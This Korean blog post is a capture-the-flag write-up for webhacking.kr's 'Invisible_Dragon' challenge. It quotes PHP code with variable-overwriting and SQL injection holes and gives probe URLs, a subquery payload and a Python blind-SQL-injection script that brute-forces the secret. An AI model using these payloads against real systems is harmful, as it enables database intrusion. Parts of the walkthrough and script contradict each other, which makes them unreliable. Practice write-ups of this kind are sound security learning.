webhacking.kr

Invisible_Dragon 풀이 (SQLInjection)

화이트해커 Luna 🌙 2025. 3. 26. 04:56
728x90
반응형

 

1. 문제 분석

 

1.1 소스 코드 분석

문제에서 제공된 PHP 코드의 주요 기능은 사용자의 입력을 받아 SQL 쿼리를 실행하는 것이다. 해당 코드에서 취약점이 존재하는 부분을 분석한다.

<?php
include "./config.php";

if (preg_match('/session/isUD', $_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING'], $arr);
foreach ($arr as $key => $value) {
    $$key = $value;
}

$db = dbconnect();
if (isset($column) && isset($keyword)) {
    if (isset($ie) && !empty($ie)) {
        if (in_array($ie, ['utf8', 'ucs2', 'utf16'])) {
            $_SESSION['format'] = "convert(%s using $ie)";
        } else {
            $_SESSION['format'] = 'convert(%s using latin1)';
        }
    }
    $format = isset($_SESSION['format']) ? $_SESSION['format'] : 'convert(%s using latin1)';
    if (
        preg_match('/^convert\(/', $format) &&
        preg_match('/\)$/', $format)
    ) {
        $column = sprintf($format, $column);
        $column = preg_replace('/[^\w\s(),]/', '', $column);
        if (strlen($column) > 24) {
            exit("no hack!");
        }
        $keyword = addslashes($keyword);
        $query = "select * from prob_invisible_dragon where $column='$keyword'";
        echo "<hr>query : <strong>{$query}</strong><hr><br>";
        $result = @mysqli_fetch_array(mysqli_query($db, $query));
        if ($result) {
            echo "<h2>Search {$result[0]}!</h2>";
        }
    }
}

if (isset($secret)) {
    $query = "select secret from prob_invisible_dragon";
    $result = @mysqli_fetch_array(mysqli_query($db, $query));
    if ($result['secret'] === $secret) {
        echo "<h2>Yes, that is the FLAG what you want ;)</h2>";
    }
}

highlight_file(__FILE__);
?>

 

1.2 주요 취약점 분석

1) 변수 덮어쓰기(Variable Overwriting) 취약점

parse_str($_SERVER['QUERY_STRING'], $arr);
foreach ($arr as $key => $value) {
    $$key = $value;
}

parse_str() 함수는 입력된 값을 동적으로 변수에 할당하는 방식으로 동작하며, 공격자는 column, keyword, ie 등의 변수 값을 조작할 수 있다. 이는 SQL 쿼리의 동작을 변경할 수 있는 가능성을 제공한다.

 

2) SQL Injection 취약점

$query = "select * from prob_invisible_dragon where $column='$keyword'";

$column 값을 사용자 입력에서 직접 받아오므로 필터링이 불완전할 경우 SQL Injection이 가능하다.

 

3) Secret 값 추출 가능성

$query = "select secret from prob_invisible_dragon";

SQL Injection을 활용하면 secret 값을 추출할 수 있으며, 이를 통해 FLAG를 획득할 수 있다.

 


 

2. 문제 해결 과정

 

2.1 초기 접근 및 탐색

✅ 기본적인 요청을 보내어 쿼리 실행 결과를 확인한다.→ "no hack!" 메시지가 출력됨.

http://webhacking.kr:10016?column=id&keyword=1

 

 

 

 임의의 값을 삽입하여 반응을 확인한다.→ "Search 1!" 출력됨. ( 여기서 Blind SQL 각을 봄)

http://webhacking.kr:10016?column=id&keyword=1

 

 

SQL 인젝션은 여러 유형이 존재하며, 각 유형에 따라 공격 방식이 달라진다. 내가 추론하는 방식을 대략 적어봤다.

  1. Error-based SQL Injection: 쿼리 오류를 유발하여 발생하는 에러 메시지를 통해 데이터베이스의 구조나 내부 정보를 유추하는 방법이다. 이 방식은 서버가 에러 메시지를 출력할 때 그 내용을 기반으로 추가적인 정보를 수집할 수 있다.
  2. Union-based SQL Injection: UNION 연산자를 활용하여 여러 SELECT 쿼리의 결과를 결합함으로써, 다른 테이블의 데이터를 추출할 수 있는 방법이다. 이 방식은 출력되는 결과에서 다른 테이블의 정보를 확인할 수 있다.
  3. Time-based SQL Injection: SLEEP() 함수와 같은 시간 지연 함수를 활용하여 쿼리 실행 시간 차이를 기반으로 조건을 추론하는 방법이다. 이 방식은 서버 반응 시간에 따라 참/거짓을 구별하여 정보를 얻는다.
  4. Blind SQL Injection: 페이지의 출력 내용을 직접적으로 확인할 수 없을 때, 조건문을 사용하여 참/거짓 여부에 따른 서버의 반응 차이를 통해 정보를 추론하는 방법이다. 주로 페이지의 변화 없이 결과를 얻을 수 있다.
  5. Out-of-Band SQL Injection: 데이터베이스의 반응을 HTTP 요청이나 DNS 요청과 같은 외부 채널을 통해 수집하는 방식이다. 이 방식은 주로 다른 서버와의 통신을 통해 데이터를 유출시키는 기법이다.

여기서 Blind SQL Injection이 적용된 이유는, 쿼리 실행 결과를 직접적으로 확인할 수 없고, 페이지의 출력 변화를 통해 조건문의 참/거짓 여부를 확인할 수 있기 때문이다.
서버의 반응 차이를 악용하면 필요한 정보를 추출할 수 있다.

 

 

2.2 SQL Injection 공격 수행

1) column 필드를 활용한 공격

column 값은 convert(%s using charset) 형태로 변환된 후 실행되므로 서브쿼리를 이용한 공격이 가능하다.

SELECT * FROM prob_invisible_dragon WHERE convert((SELECT secret FROM prob_invisible_dragon) USING utf8)='dummy';

 

따라서, column 값을 변조하여 SQL Injection을 수행하면 secret 값을 추출할 수 있다.

 

3. Blind SQL Injection을 이용한 FLAG 추출

 

위 취약점을 이용하여 Blind SQL Injection을 수행한다.
응답 메시지를 기반으로 한 글자씩 FLAG{} 값을 추론하는 기법을 사용한다.

3.1 익스플로잇 코드 (Python)

import requests

url = "http://webhacking.kr:10016/"
secret = ""
secret_len = 1

while True:
    for i in range(33, 128):
        # GET 요청 파라미터 설정
        payload = {
            "_SE%53SION%5Bformat%5D": f"convert(%s,char({secret_len}))",
            "keyword": f"{secret}{chr(i)}"
        }

        # 요청 보내기
        response = requests.get(url, params=payload)

        # flag{...} 추출
        if "flag{" in response.text:
            flag = response.text.split("flag{")[1].split("}")[0]
            print(f"Found flag: flag{{{flag}}}")
            secret += chr(i)
            secret_len += 1
            break
    else:
        print("Not found")
        break

 

해결 ㅇㅇ 

 

근데 waf 우회랑 SQL Injection의 자동화에 대해선 좀더공부를 해봐야 대겟다. 

 


 

 

푼지 오래됐는데 아직도 찾는사람들이 많길래 첫번쨰루 올려봄 .. ㅜㅅ ㅜ 

한동안 안하게 될것같다ㅜ

 

 

 

 

728x90
반응형

'webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 🍊 orange 문제 풀이  (1) 2024.12.05